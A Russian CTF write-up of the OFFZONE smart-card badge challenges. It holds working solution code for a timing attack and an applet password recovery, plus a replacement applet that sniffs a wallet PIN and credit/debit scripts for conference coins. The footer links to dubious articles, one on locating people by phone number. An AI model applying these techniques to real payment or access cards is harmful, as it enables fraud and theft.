Взлом смарт-карт OFFZONE Badge Challenge

Взлом смарт-карт OFFZONE Badge Challenge

LOCKNET
LOCKNET
LOCKNET

Добрый вечер, друзья! Однажды на OFFZONE была серия задач на смарт-карте с интерфейсом ISO/IEC 7816. Особо внимательных даже предупредили заранее. Тут опубликовали фотографию бейджа и прямо заявили, что «бейдж можно будет взломать, если вам это будет по силам». Нам оказалось это по силам, и из этой статьи ты узнаешь — как. Приступим!

Эта статья написана только для образовательных целей. Автор не публиковал эту статью для вредоносных целей. Если читатели хотели бы воспользоваться информацией для личной выгоды, то автор не несёт ответственность за любой причиненный вред или ущерб.

Чтобы решать задачи, нужно было иметь подходящий картридер. Те, кто пришел на конференцию неподготовленным, имели возможность приобрести картридер в «Лавке старьевщика» за OFFCOIN или российские рубли. Правда, продавалось всего 30 ридеров, и их быстро разобрали.

Описание задач было приведено на этой странице.

LOCKNET

Официальные задания

Авторы заданий сделали очень хорошее «краткое введение» в терминологию, базовые принципы и популярные инструменты.

Как работать с картой?

Общение со смарт-картами ведется при помощи USB-картридеров, которые можно найти в GAME.ZONE, а также купить в «Лавке старьевщика». APDU-команда

Пакеты, которые воспринимает карта, называются APDU-командами. APDU-команда представляет собой последовательность 4-байтового заголовка и данных команды.

Общий формат APDU-команды:

  • [CLA INS P1 P2 Lc DATA Le]
  • CLA (Instruction class) определяет тип посылаемой команды.
  • INS (Instruction code) определяет конкретную команду внутри класса.
  • P1, P2 (Parameter 1/2) являются аргументами команды.
  • Lc (Length of command data) определяет размер данных в поле DATA.
  • DATA (?) содержит в себе Lc байт данных команды.
  • Le (Length of expected data) определяет размер данных, которые ожидается получить в ответе карты. Команда обязательно содержит 4 первых байта, остальные байты опциональны.

В ответ мы получаем код ошибки, состоящий из 2 байт (SW1, SW2), и опциональное поле данных размера <= Le байт.

Для отправки APDU-команд удобно пользоваться библиотекой pyscard для Python. Например, так выглядит код для получения серийного номера Java-карты:

from smartcard.System import readers
from smartcard.util import *
r = readers()
reader = r[0x00] # Let's assume that we only have one reader
connection = reader.createConnection()
connection.connect()
SELECT_MANAGEMENT = [0x00, 0xA4, 0x04, 0x00, 0x08] + [0xA0, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00]
(data, sw1, sw2) = connection.transmit(SELECT_MANAGEMENT)
GET_CPLC_DATA = [0x80, 0xCA, 0x9F, 0x7F, 0x00]
(data, sw1, sw2) = connection.transmit(GET_CPLC_DATA)
print data

Если давать высокоуровневое описание Java-карты, то она представляет собой совокупность Java-апплетов, которые выполняют определенные задачи. Апплеты идентифицируются с помощью уникального Applet Identifier (AID), задаваемого при разработке апплета.

По умолчанию Java-карта должна содержать Manager-апплет (AID = [0xA0, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00]), который используется для управления другими апплетами на карте. Задания также представляют собой отдельные апплеты. Перед началом работы с апплетом нужно выполнить команду SELECT и AID апплета (AID=[…]; SELECT_APPLET = [0x00, 0xA4, 0x04, 0x00] + [len(AID)] + AID).

В качестве основного способа общения с картой предполагалось использовать язык Python и библиотеку pyscard. Небольшая сложность, с которой лично я столкнулся на начальном этапе, была в том, что я не нашел готового инсталлятора и не справился со сборкой pyscard под Python 3.7. А после установки старой версии pyscard 1.7.0 под Python 2.7 выяснилось, что простейшие примеры из документации pyscard падают с ошибкой. Зато связка pyscard 1.9.3 и Python 3.6.7 x64 заработала сразу и без нареканий.

Так как во всех заданиях требовалось выполнять однотипные действия (инициализация, отсылка APDU-команд и получение результатов), мне показалось правильным реализовать базовые функции в виде класса.

from smartcard.System import readers

def hx(ab): return ".".join("%02X" % v for v in ab) # Convert bytes to hex
def sx(ab): return "".join(chr(v) for v in ab) # Convert bytes to string

SELECT_APPLET = [0x00, 0xA4, 0x04, 0x00]

class OFFZONE(object):
  dCmds = { # List of known commands (for debugging)
    hx(SELECT_APPLET): "SELECT_APPLET",
  }

  def __init__(self, ind=0):
    self.DBG = False
    self.r = readers()
    if self.DBG: 
      if self.r:
        print("Readers:")
        for i, v in enumerate(self.r):
          print("%3d: %s" % (i, v))
      else: print("No readers")

    self.conn = self.r[ind].createConnection()
    self.conn.connect()

  def exch(self, cmd, arg=None): # Perform APDU command exchange
    if self.DBG:
      msg = [self.dCmds.get(hx(cmd), hx(cmd))]
      if arg is not None: msg.append(hx(arg))
      print("Send: %s" % " + ".join(msg))
    ext = [] if arg is None else [len(arg)] + list(arg)
    data, sw1, sw2 = self.conn.transmit(cmd + ext)
    if self.DBG:
      print("Recv: %02X.%02X + [%s]" % (sw1, sw2, hx(data)))
    return data, sw1, sw2

  def select(self, AID): # Select applet by AID or task index
    if isinstance(AID, int): # Task index provided
      AID = [0x4F, 0x46, 0x46, 0x5A, 0x4F, 0x4E, 0x45, 0x30+AID, 0x10, 0x01]
    return self.exch(SELECT_APPLET, AID)

  def command(self, cla, ins, arg=None): # Execute command
    cmd = [cla, ins, 0, 0]
    return self.exch(cmd, arg)

def main():
  oz=OFFZONE()
##  Task1(oz)
##  Task2(oz)
##  Task3(oz)
##  Task4(oz)

Training Mission

Получите основные навыки для работы с Java-картой. Похоже, при переносе описания задания затерлась часть информации, и мы потеряли корректный номер INS.

AID: [0x4f, 0x46, 0x46, 0x5a, 0x4f, 0x4e, 0x45, 0x31, 0x10, 0x01]
CLA: 0x10
INS:
    0x??: getFlag: [0x10, 0x??, 0x00, 0x00]
    0xE0: checkFlag(flag): [0x10, 0xE0, 0x00, 0x00, 0xNN] + flag (0xNN bytes of flag)

В первой задаче требовалось найти однобайтовое значение INS, и очевидно, что проще всего это было сделать перебором 256 возможных вариантов.

Решение

def Task1(oz):
  print("\nTask #1 (Training Mission)")
  oz.select(1)
  CLA = 0x10
  INS_CheckFlag = 0xE0

  for INS_GetFlag in range(0x100):
    data, sw1, sw2 = oz.command(CLA, INS_GetFlag)
    if 0x90 == sw1 and 0x00 == sw2 and data:
      print("INS_GetFlag=0x%02X, Flag: %s" % (INS_GetFlag, repr(sx(data))))
      data, sw1, sw2 = oz.command(CLA, INS_CheckFlag, data)
      print("CheckFlag: %02X.%02X + [%s]" % (sw1, sw2, hx(data)))
      break
  else:
    print("INS_GetFlag value not found")

Легко заметить, что на большинство запросов (с неподдерживаемыми значениями INS) в качестве статуса ответа (sw1 и sw2) возвращаются значения 0x6D и 0x00. Если свериться с таблицей кодов APDU-ответов, становится понятно, что 6D 00 соответствует ошибке Instruction code not supported or invalid. Для правильного запроса возвращается статус 90 00 и флаг.

LOCKNET

Vault Warehouse Management System

Убежище — это сложный инженерный объект, который позволяет людям выживать в условиях ядерной войны. Тебе предстоит оптимизировать хранение припасов в условиях ограниченного пространства. Перемести коробки с провиантом в специально предназначенные для этого места.

AID: [0x4f, 0x46, 0x46, 0x5a, 0x4f, 0x4e, 0x45, 0x32, 0x10, 0x01]
CLA: 0x10
INS:
    * 0x20, move() — задать направление движения. В APDU необходимо передать один байт с указанием направления:
        * a (0x61) — влево,
        * d (0x64) — вправо,
        * w (0x77) — вверх,
        * s (0x73) — вниз.

        Пример движения влево: apdu = `[0x10, 0x20, 0x00, 0x00, 0x01, 0x61]`.

    * *0x30: getGameState() — получить текущий статус (получить карту в виде списка из 108 байт). 

Игровое поле 12x9. `apdu = [0x10, 0x30, 0x00, 0x00, 0x00]`. Легенда:

* ты — «H» (0x48),
* стена — «#» (0x23),
* коробки с провиантом — «O» (0x4f),
* специально отведенное место для хранения — «.» (0x2e),
* свободное пространство — « » (0x20).

Если ты успешно оптимизировал хранение в паре залов, в ответ на запрос получишь флаг.

* 0x40: reset() — если попал в безвыходную ситуацию. apdu = [0x10, 0x40, 0x00, 0x00, 0x00]
* 0x50: getFlag() apdu = [0x10, 0x50, 0x00, 0x00, 0x00]
* 0xE0: checkFlag(flag) apdu = [0x10, 0xE0, 0x00, 0x00, 0xNN] + flag (0xNN bytes of flag)

В этом задании предлагают поиграть в Sokoban. Ничего технически сложного делать не требуется. Если послать команду getGameState(), в ответ пришлют картинку с полем. Посылая команду move(), можно изменять состояние поля. Как только новое состояние совпадет с решением (все коробки с провиантом на отведенных местах), getGameState() вернет картинку со следующим уровнем (их всего два).

#############        ############
######   ####        #       #  #
#### O # ####        ######     #
#### #  . ###        #    #  #  #
####   H# ###        #       #.##
####O#.  ###        ##O######.##
#####   #####        #      O H #
#############        #    ###   #
#############        ############

После решения второго уровня getGameState() вернет флаг.

Делать полный автомат было лень, поэтому я решил написать интерактивную программу, которая клавишами awsd позволяла двигаться, при нажатии на r вызывала reset(), а при нажатии на любую другую клавишу завершала работу.

from msvcrt import getch

def Task2(oz):
  print("Task #2 (Vault Warehouse Management System)")
  oz.select(2)
  CLA = 0x10
  INS_Move = 0x20
  INS_GetState = 0x30
  INS_Reset = 0x40
  INS_GetFlag = 0x50
  INS_CheckFlag = 0xE0

  while True:
    data, sw1, sw2 = oz.command(CLA, INS_GetState)
    if len(data) != 12*9: break
    print()
    for o in range(0, len(data), 12): print(sx(data[o:o+12])) # Show field
    ch = ord(getch())
    if chr(ch) in ("awsd"): oz.command(CLA, INS_Move, [ch]) # Make move
    elif ord('r') == ch: oz.command(CLA, INS_Reset) # Reset field
    else: return # Quit

  print("Final state: %s" % sx(data))
  data, sw1, sw2 = oz.command(CLA, INS_GetFlag)
  if 0x90 == sw1 and 0x00 == sw2 and data:
    print("Flag == %s" % repr(sx(data)))
    data, sw1, sw2 = oz.command(CLA, INS_CheckFlag, data)
    print("CheckFlag: %02X.%02X + [%s]" % (sw1, sw2, hx(data)))

Под Windows удобно было использовать getch из библиотеки msvcrt. Под Unix можно воспользоваться модулем getch.py.

Для совсем ленивых — вот последовательность ходов для первого уровня:

aaawwdassdddwdwwaasswaassddwdddssaawssaawsddwwawwaassddwds

И для второго:

aaaaasaawwssddwdddddwwwwaassaaaawaasdssddddddsdwwwwdwaadssssaaaaaaawwwddsddwwwdsassaaawasswddddwwdddssssaaaaaasaawdwwdddddwawddassaaaaasssddwdddddwwwdwwasswaassaaaaassddddddsdw

А если захочется поиграть сначала — нужно опять вызвать reset

Comparer 2000

Эта программа досталась нам от предков вида Macaca JSus. Они не умели оптимизировать код, и их программы работали медленно.

AID: [0x4F, 0x46, 0x46, 0x5A, 0x4F, 0x4E, 0x45, 0x33, 0x10, 0x01]

CLA: 0x10
INS:
    * 0x20: checkStr(str): apdu = [0x10, 0x20, 0x00, 0x00, 0xNN] + STR (0xNN bytes of STR). Ответ: SW_WRONG_PIN_LEN = 0x6420; SW_WRONG_PIN = 0x6421;
    * 0x30: getFlag(): apdu = [0x10, 0x30, 0x00, 0x00, 0x20]
    * 0xE0: checkFlag(flag): apdu = [0x10, 0xE0, 0x00, 0x00, 0xNN] + flag (0xNN bytes of flag)

В условии этой задачи дается подсказка, что надо сначала подобрать длину строки (пока не вернут статус 64 21), а потом использовать Timing Attack (чем больше правильных символов, тем дольше будет идти проверка).

Решение

import time

def Task3(oz):
  print("\nTask #3 (Comparer 2000)")
  oz.select(3)
  CLA = 0x10
  INS_CheckStr = 0x20
  INS_GetFlag = 0x30
  INS_CheckFlag = 0xE0
  for ccKey in range(1, 16): # Guess length
    data, sw1, sw2 = oz.command(CLA, INS_CheckStr, [0]*ccKey)
    if 0x64 == sw1 and 0x21 == sw2:
      print("len(Key)=%X" % ccKey)
      break
  else:
    print("Can't guess key length")

  abKey = bytearray(ccKey)
  for iKey in range(ccKey): # Walk positions
    bestTime = 0
    bestChar = 0
    for i in range(0x100): # Test all possible values
      abKey[iKey] = i
      start = time.time() # Start measure time
      oz.command(CLA, INS_CheckStr, abKey)
      delta = time.time() - start # Calc command execution time
      if delta > bestTime: # Memorize best value
        bestTime = delta
        bestChar = i
    abKey[iKey] = bestChar
    print(hx(abKey[:iKey+1]), end='\r')

  print
  data, sw1, sw2 = oz.command(CLA, INS_CheckStr, abKey)
  if 0x90 == sw1 and 0x00 == sw2:
    print("Key %s is OK" % hx(abKey))
    data, sw1, sw2 = oz.exch([CLA, INS_GetFlag, 0, 0, 0x20])
    if 0x90 == sw1 and 0x00 == sw2 and data:
      print("Flag == %s" % repr(sx(data)))
      data, sw1, sw2 = oz.command(CLA, INS_CheckFlag, data)
      print("CheckFlag: %02X.%02X + [%s]" % (sw1, sw2, hx(data))

Убежище 42

Подбери верный ключ и попади в убежище 42!

AID: [0x4F, 0x46, 0x46, 0x5A, 0x4F, 0x4E, 0x45, 0x34, 0x10, 0x01]
CLA: 0x20
INS:
    * 0x04: checkLoginAndPassword(login_and_password) apdu = [0x20, 0x04, 0x00, 0x00, 0xNN] + data (0xNN bytes of data)
    * 0xE0: checkFlag(flag) apdu = [0x20, 0xE0, 0x00, 0x00, 0xNN] + flag (0xNN bytes of flag) https://ctf.bi.zone/files/applet.cap

Из текста задания очевидно, что надо проанализировать applet.cap и извлечь алгоритм проверки пароля. Поиск в Google приводит на страничку с документацией Oracle, где упоминается утилита normalizer.bat. Ставим Java Card SDK и выполняем следующие команды (пути могут быть другими!):

SET JAVA_HOME=C:\Program Files\Java\jdk1.8.0_191
SET JCDK=C:\Program Files (x86)\Oracle\Java Card Development Kit 3.0.5u3
"%JCDK%\bin\normalizer.bat" normalize -i applet.cap -p "%JCDK%\api_export_files"

Но, к сожалению, запуск normalizer.bat завершается ошибкой:

[ INFO: ] Cap File to Class File conversion in process.
In method Descriptor[43]/Method[15]:
At PC 0: Bad branch to PC 3 from PC 0

Из сообщения об ошибке можно сделать вывод, что скомпилированный код в файле applet/javacard/Method.cap из applet.cap содержит по адресу 0 неправильный переход на адрес 3 (в середину инструкции). Поискав java card instruction set, легко выяснить, что опкод 0x70 соответствует инструкции goto.

Заглянув внутрь applet/javacard/Method.cap при помощи шестнадцатеричного редактора, можно заметить, что довольно часто встречается последовательность байт 70 03 xx и именно она «ломает» работу normalizer.bat — xx интерпретируется как начало следующей инструкции после двухбайтовой инструкции 70 03 (goto PC+3).

Кстати, подобный прием (переход в середину инструкции) часто используется и в Native-коде для запутывания дизассемблера.

В случае Java Card устранить проблему довольно просто — надо на место всех xx вставить 00 — однобайтовый опкод инструкции nop. Это легко сделать на Python, используя модули zipfile и re.

import zipfile, re

with zipfile.ZipFile("applet.cap") as zin:
  with zipfile.ZipFile("applet_fixed.cap", "w") as zout:
    for item in zin.infolist():
      ab = zin.read(item.filename)
      if item.filename.endswith("Method.cap"): 
        ab = re.sub("p\3.", "p\3\0", ab.decode("latin1")).encode("latin1")
      zout.writestr(item, ab)

После этого надо повторно запустить normalizer.bat (поменяв имя входного файла на applet_fixed.cap). И, несмотря на новое сообщение об ошибке, в поддиректории applet появится файл AAA.class, который можно обработать любым декомпилятором Java (например, старым добрым jad.exe) и получить исходный текст, пригодный для анализа.

Все самое интересное происходит в методе method_token255_descoff79(). На вход он принимает 16-байтовый массив (login), а возвращает другой 16-байтовый массив (password). И именно эти два массива надо передать в APDU-команду checkLoginAndPassword(). Код вычисления password из login похож на кусочки AES. Но разбираться с тем, как он работает, необязательно — достаточно или переписать его на привычный язык (например, Python), или слегка подправить и скомпилировать исходник на Java.

Решение

def aRol(a, n): return a[n:] + a[:n]

def bX(b): return ((b << 1) ^ 0x1B) & 0xFF

def bB(b): return bX(b) ^ b

def transform(a0, a1, a2, a3):
  o0 = [((bX(a0[i]) ^ bB(a1[i])) ^ a2[i]) ^ a3[i] for i in range(4)]
  o1 = [((a0[i] ^ bX(a1[i])) ^ bB(a2[i])) ^ a3[i] for i in range(4)]
  o2 = [((a0[i] ^ a1[i]) ^ bX(a2[i])) ^ bB(a3[i]) for i in range(4)]
  o3 = [((bB(a0[i]) ^ a1[i]) ^ a2[i]) ^ bX(a3[i]) for i in range(4)]
  return o0 + o1 + o2 + o3

def PwdFromLogin(login):
  ab = [(login[i] - 3*i) & 0xFF for i in range(16)]
  a0 = aRol(ab[0:4], 1)
  a1 = aRol(ab[4:8], 2)
  a2 = aRol(ab[8:12], 3)
  a3 = aRol(ab[12:16], 1)
  ab = transform(a0, a1, a2, a3)
  return [(ab[i] + 127*(i+1)) & 0xFF for i in range(16)]

def Task4(oz):
  print("\nTask #4 (Shelter 42)")
  oz.select(4)
  CLA = 0x20
  INS_CheckLoginAndPassword = 0x04
  INS_CheckFlag = 0xE0

  login = [i for i in range(16)]
  pwd = PwdFromLogin(login)

  data, sw1, sw2 = oz.command(CLA, INS_CheckLoginAndPassword, login+pwd)
  if 0x90 == sw1 and 0x00 == sw2 and data:
    print("Flag == %s" % repr(sx(data)))
    data, sw1, sw2 = oz.command(CLA, INS_CheckFlag, data)
    print("CheckFlag: %02X.%02X + [%s]" % (sw1, sw2, hx(data)))

SmartCardTanks

Для начала хотелось бы отметить, что организаторы выбрали очень интересный формат распределения сувениров и активностей для зарабатывания OFFCOIN, атмосфера на конференции из-за этого сложилась особенная. Велотрек, настольный зомби-кикер, тотализатор и прочее — все это не обошло и нас. Поскольку картридеров у нас не было, то решили для получения заветного картридера, раз их так мало, общими усилиями во что бы то ни стало накрутить педали и выиграть максимальное количество «футбольных» соперников, а затем купить девайс за OFFCOIN и впервые окунуться в мир Java-апплетов.

Игрокам необходимо реализовать игровую логику своего танка так, чтобы в ответ на запрос хода их карты передавали желаемые направления перемещения и стрельбы подконтрольного танка. Если ответ на запрос хода будет некорректным, танк игрока не станет перемещаться или стрелять.

AID: [0x4F, 0x46, 0x46, 0x5A, 0x4F, 0x4E, 0x45, 0x35, 0x10, 0x01]
CLA: 0x80
INS:
    * 0x99: readySteady(check)
    * Параметры: BYTE check — целое число в диапазоне (0–100).
    * Ответ: BYTE check_response — целое число, равное check+1.
    * 0x66: getMap()
    * Параметры: BYTE[32] map — игровое поле в битовом представлении (слева направо и сверху вниз).
        * Например, переданы значения [0xFF, 0xFF, 0x80, 0x01, 0x93, 0x81, ...]. Тогда участок поля, описываемый этими значениями, имеет следующий вид в битовом представлении:

        1111111111111111
        1000000000000001
        1001001110000001
        ...
        1 означает неразрушимую и непроходимую стену.
        0 означает поверхность, по которой можно перемещаться.
        Ответ: BYTE[2] map_response — всегда равен [0x4f, 0x4b] ('OK').
    * 0x33: getNextStep(step). Параметры:
        * BYTE step — текущий игровой ход (200 -> 0).
        * BYTE player_x — координата Х игрока (0 -> 15).
        * BYTE player_y — координата Y игрока (0 -> 15).
        * BYTE player_lives — число жизней игрока (3 -> 0).
        * BYTE player_fuel — количество топлива игрока (255 -> 0).
        * BYTE player_rockets — число ракет игрока (255 -> 0).
        * BYTE enemy_x — координата Х противника (0 -> 15).
        * BYTE enemy_y — координата Y противника (0 -> 15).
        * BYTE enemy_lives — число жизней противника (3 -> 0).
        * BYTE enemy_fuel — количество топлива противника (255 -> 0).
        * BYTE enemy_rockets — число ракет противника (255 -> 0).
        * BYTE bonus_count — число бонусов на карте на текущий ход (2 -> 0).
        * BONUS[bonus_count] — список описаний бонусов (от 0 до 2 элементов, в зависимости от количества бонусов на карте).
        * BYTE bonus_x — координата Х бонуса (0 -> 15).
        * BYTE bonus_y — координата Y бонуса (0 -> 15).
        * BYTE bonus_type — тип бонуса (0 — бонус топлива, 1 — бонус ракет).

        Ответ:

        * BYTE move_direction — направление перемещения игрока (0 — стоять на месте, 1 — двигаться вправо, 2 — двигаться вверх, 3 — двигаться влево, 4 — двигаться вниз).
        * BYTE shoot_direction — направление выстрела игрока (0 — не стрелять, 1 — стрелять вправо, 2 — стрелять вверх, 3 — стрелять влево, 4 — стрелять вниз).

Код апплета, который уже залит на вашу карту, можно посмотреть по ссылке.

Java-карты конференции совместимы с GlobalPlatform, и для установки, удаления и просмотра апплетов можно использовать GlobalPlatformPro. Например, чтобы получить список установленных апплетов, можно воспользоваться командой

java -jar gp.jar --list -v

Задание (полное описание) заключалось в том, чтобы написать свой бот для управления танком, используя предоставляемый организаторами SmartCardTanksBot.java как шаблон для построения бота.

Внутри шаблона есть строки, которые подтвердили предположение относительно инструкции 0xA4.

if (buffer[ISO7816.OFFSET_INS] == 0xA4) {
    return;
}

После разработки бота управления танком нужно было использовать пакет GlobalPlatformPro, чтобы установить бот в системе. В описании задания указано, что апплеты можно не только устанавливать, но и просматривать уже установленные, а также удалять их.

Был получен список апплетов, установленных в системе.

LOCKNET

Проанализировав список, можно выделить, что здесь представлены AID для всех пяти задач на карте, а также некий секретный апплет, который имеет AID:

SECRET = [0xA0, 0x00, 0x00, 0x00, 0x50, 0x10, 0x10, 0x50, 0x10, 0x01]

Судя по используемому AID и его похожести на родительский апплет, он, скорее всего, управляющий. Еще интересная особенность, что он имеет класс инструкций = 0x80, отличный от других, и в то же время такой же класс был у задачи с танками.

Исследование команд управляющего апплета

В управляющем апплете были найдены команды:

SECRET_Cmds = [(0x20,0x63,0x00),(0x30,0x63,0x01),(0x40,0x63,0x01), (0x50,0x67,0x00),(0x60,0x63,0x01),(0x70,0x63,0x01),(0x80,0x67,0x00), (0x90,0x63,0x01),(0xA0,0x67,0x00),(0xA4,0x90,0x00)]

Поскольку для некоторых команд код ошибки sw1, sw2 = 0x67, 0x00, что означает «неверная длина данных», был выполнен перебор по этому полю.

Выяснилось, что во всех трех командах размер данных должен быть равен нулю. Также с помощью сравнения результатов работы этих команд для разных карточек было определено их предназначение.

Получение баланса

Ins = 0x50 — получение текущего баланса на карте.

Код для реализации команды простой.

BalanceIns = [0x80, 0x50, 0x00, 0x00, 0x00] 

def GetBalance():
  data, sw1, sw2 = connection.transmit(SELECT_SECRET)
  print("Select Secret Applet: 0x%02X 0x%02X" % (sw1, sw2))
  data, sw1, sw2 = connection.transmit(BalanceIns)
  print("----- Current Balance: %02u %02u" % (data[0], data[1]))
LOCKNET

Получение статуса выполнения задач на карте

Ins = 0x80 — получение состояния задач на карте, решена или нет.

Код реализации такой:

TaskStateIns = [0x80, 0x80, 0x00, 0x00, 0x00] 

def GetTaskState():
  data, sw1, sw2 = connection.transmit(SELECT_SECRET)
  print("Select Secret Applet: 0x%02X 0x%02X" % (sw1, sw2))
  data, sw1, sw2 = connection.transmit(TaskStateIns)
  print("Current Task State:")
  print(data)   
LOCKNET

Как видим, решены первые четыре задачи из расположенных на карте.

Получение статуса выполнения логических задач

Ins = 0xA0 — получение некоторого состояния, как выяснилось позже — состояния решения логических задач в зоне BI.ZONE. Скрипт для вывода этой информации:

SomeLenIns = [0x80, 0xA0, 0x00, 0x00, 0x00] 

def GetSomeState():
  data, sw1, sw2 = connection.transmit(SELECT_SECRET)
  print("Select Secret Applet: 0x%02X 0x%02X" % (sw1, sw2))
  data, sw1, sw2 = connection.transmit(SomeLenIns)
  print("Current Some State:")
  print(data)   
LOCKNET

Всего задач девять. На данной карте ни одна из задач этого типа еще не решена.

Получается, что этот управляющий апплет отвечает за взаимодействие с банкоматом. По наблюдениям было замечено, что после решения задачи на карточке состояние задачи в управляющем апплете не менялось. Это значит, что банкомат считывал состояние, решена задача или нет, из апплета самой задачи, а затем устанавливал сам флаг и начислял деньги за решение задачи.

Итак, к этому моменту мы уже могли получать баланс карточки и состояние задач двух типов. И осталось несколько команд с неизвестным предназначением.

SECRET_UNK_Cmds = [(0x20,0x63,0x00), (0x30,0x63,0x01), (0x40,0x63,0x01),
    (0x60,0x63,0x01), (0x70,0x63,0x01), (0x90,0x63,0x01)]

Коды ошибок отличаются только у одной команды. Было сделано предположение, что эта команда 0x20 отвечает за некоторую авторизацию, а остальные за какие-то действия. Сами коды ошибок, начинающиеся с 0x63 в справочнике, обозначали варианты State of non-volatile memory changed, что в данном контексте неинформативно.

Выяснилось, что управляющий апплет построен на базе типового Wallet-апплета. Описание и исходники типового Wallet можно найти в поисковике по фразе java card wallet.

Первое, что бросается в глаза в исходнике, — это знакомые коды ошибок

// signal that the PIN verification failed
final static short SW_VERIFICATION_FAILED = 0x6300;

// signal the the PIN validation is required
// for a credit or a debit transaction
final static short SW_PIN_VERIFICATION_REQUIRED = 0x6301;

Затем видим такой же класс 0x80 и коды типовых инструкций. Получение баланса совпадает с кодом, уже найденным нами. Предположение оказалось верным: 0x20 — команда верификации.

// code of CLA byte in the command APDU header
final static byte Wallet_CLA = (byte)0x80;

// codes of INS byte in the command APDU header
final static byte VERIFY = (byte) 0x20;
final static byte CREDIT = (byte) 0x30;
final static byte DEBIT = (byte) 0x40;
final static byte GET_BALANCE = (byte) 0x50;

Чтобы самостоятельно снимать и начислять деньги на карту, осталось найти правильный PIN, назовем его SystemPIN.

Сначала мы решили попробовать получить SystemPIN с помощью аппаратного перехватчика, но по техническим причинам это не получилось. Благодарим организаторов — они подготовили специальный стенд, чтобы мы не экспериментировали на боевой системе.

Мы обратили внимание на следующее. Мы могли удалять и устанавливать любой апплет. Класс 0x80 совпадал у управляющего апплета и бота управления танчиками — думаю, в этом был некий намек от организаторов.

Возникла идея заменить управляющий апплет на свой, который будет только считывать PIN, сохранять его в памяти карты и возвращать его нам по запросу.

За основу был взят исходный код бота для танков SmartCardTanksBot.java. В него мы добавили строки для сохранения у себя в памяти всего пакета передачи PIN. PIN передается, когда вставляешь карту в терминал.

final static byte VERIFY = (byte) 0x20;

private void verify(APDU apdu) {
    byte[] buffer = apdu.getBuffer();
    byte byteRead = (byte)(apdu.setIncomingAndReceive());
    sniffedPIN[0] = byteRead;
    sniffedPIN[1] = (byte)buffer.length;
    for(short i = 0; i < buffer.length; i++)
        sniffedPIN[i + 2] = buffer[i]
} 

Также реализовали выдачу перехваченного пакета с PIN по нашему запросу.

final static byte GET_PIN = (byte) 0x77;
private void getPin(APDU apdu) {
    byte[] buffer = apdu.getBuffer();
    short le = apdu.setOutgoing();
    apdu.setOutgoingLength((short)128);
    for(short i = 0; i < 128; i++)
    {
        buffer[i] = sniffedPIN[i+1];
    }
    apdu.sendBytes((short)0, (short)128);
}

Чтобы новая команда GET_PIN заработала, в обработчик инструкций добавили:

public void process(APDU apdu) {
         byte[] buffer = apdu.getBuffer();
         if (buffer[ISO7816.OFFSET_INS] == (byte)(0xA4)) {
             return;
         } else if (buffer[ISO7816.OFFSET_CLA] != APPLET_CLA) {
             ISOException.throwIt(ISO7816.SW_CLA_NOT_SUPPORTED);
         }
           switch (buffer[ISO7816.OFFSET_INS]) {
             case MOVE:
                 sendMove(apdu);
                 return;
             case MAP:
                 getMap(apdu);
                 return;
             case TEST:
                 test(apdu);
                 return;
             case VERIFY:
                 verify(apdu);
                 return;
             case GET_PIN:
                 getPin(apdu);
                 break;
             default:
                 ISOException.throwIt(ISO7816.SW_INS_NOT_SUPPORTED);
     }
 }

Далее скомпилировали через JCIDE с нужным нам номером AID. Управляющий апплет, отвечающий за проверку PIN, был удален.

LOCKNET

Затем вместо него был установлен апплет, подготовленный нами.

LOCKNET

После этого карта уже не могла использоваться для конкурсов, начисления и снятия OFFCOIN, поскольку мы удалили оригинальный управляющий апплет. После нескольких испорченных таким образом карт нам удалось получить PIN. С помощью следующего скрипта получили с этой карты содержимое пакета, где был PIN:

GET_SYSTEM_PIN = [0x80, 0x77, 0x00, 0x00]

def GetSystemPIN():
    data, sw1, sw2 = connection.transmit(SELECT_SECRET)
    print("Select Secret Applet: 0x%02X 0x%02X" % (sw1, sw2))
    data, sw1, sw2 = connection.transmit(GET_SYSTEM_PIN)
    print("Get System PIN Packet State: 0x%02X 0x%02X" % (sw1, sw2))
    print(data) 

На выходе получили следующее.

LOCKNET

Здесь первые 4 байта — это заголовок запроса авторизации. Затем идет длина данных — 8 байт. Последующие 8 байт — значение PIN.

SystemPIN = [0xDB, 0X4D, 0XDE, 0X11, 0X6A, 0X27, 0X5B, 0X85]

На этом этапе нас объявили победителями конкурса.

Зачисление и снятие OFFCOIN

По пути в аэропорт мы попробовали реализовать верификацию, операции зачисления на карту и снятие с карты OFFCOIN. Опытным путем выявлено, что перед каждой операцией нужно проводить верификацию. Процедура, выполняющая это, имеет вид:

AuthIns = [0x80, 0x20, 0x00, 0x00] + [len(SystemPIN)] + SystemPIN

def GetAuth():
    data, sw1, sw2 = connection.transmit(SELECT_SECRET)
    data, sw1, sw2 = connection.transmit(AuthIns)

Например, зачисление 250 OFFCOIN на карту выполняется следующим кодом:

CreditIns = [0x80, 0x30, 0x00, 0x00] + [2] + [0x00, 0xFA]

def MakeCredit():
    data, sw1, sw2 = connection.transmit(SELECT_SECRET)
    print("Select Secret Applet: 0x%02X 0x%02X" % (sw1, sw2))
    GetAuth()
    print(CreditIns)
    data, sw1, sw2 = connection.transmit(CreditIns)
    print("Credit Instruction State: 0x%02X 0x%02X" % (sw1, sw2))
LOCKNET

Снятие 100 OFFCOIN с карты выполняется следующим кодом:

DebitIns = [0x80, 0x40, 0x00, 0x00] + [2] + [0x00, 0x64]

def MakeDebit():
    data, sw1, sw2 = connection.transmit(SELECT_SECRET)
    print("Select Secret Applet: 0x%02X 0x%02X" % (sw1, sw2))
    GetAuth() 
    print(DebitIns)
    data, sw1, sw2 = connection.transmit(DebitIns)
    print("Debit Instruction State: 0x%02X 0x%02X" % (sw1, sw2))
LOCKNET

Опытным путем было установлено, что предел для карт с конференции — 5632 OFFCOIN.

Заключение

Благодарим организаторов за прекрасный, интересный и увлекательный конкурс. Решение его задач доставило много радости и веселья!

LOCKNET

Предыдущие статьи:

Зарабатываем на собственных порно-сайтах

Зарабатываем 200к рублей на мужских достоинствах

Как узнать местонахождение человека по номеру

Как анонимно вывести свои деньги?

Другие статьи на нашем с вами любимом канале LOCKNET! Подписывайся, делись ссылкой на статью с друзьями!

Report Page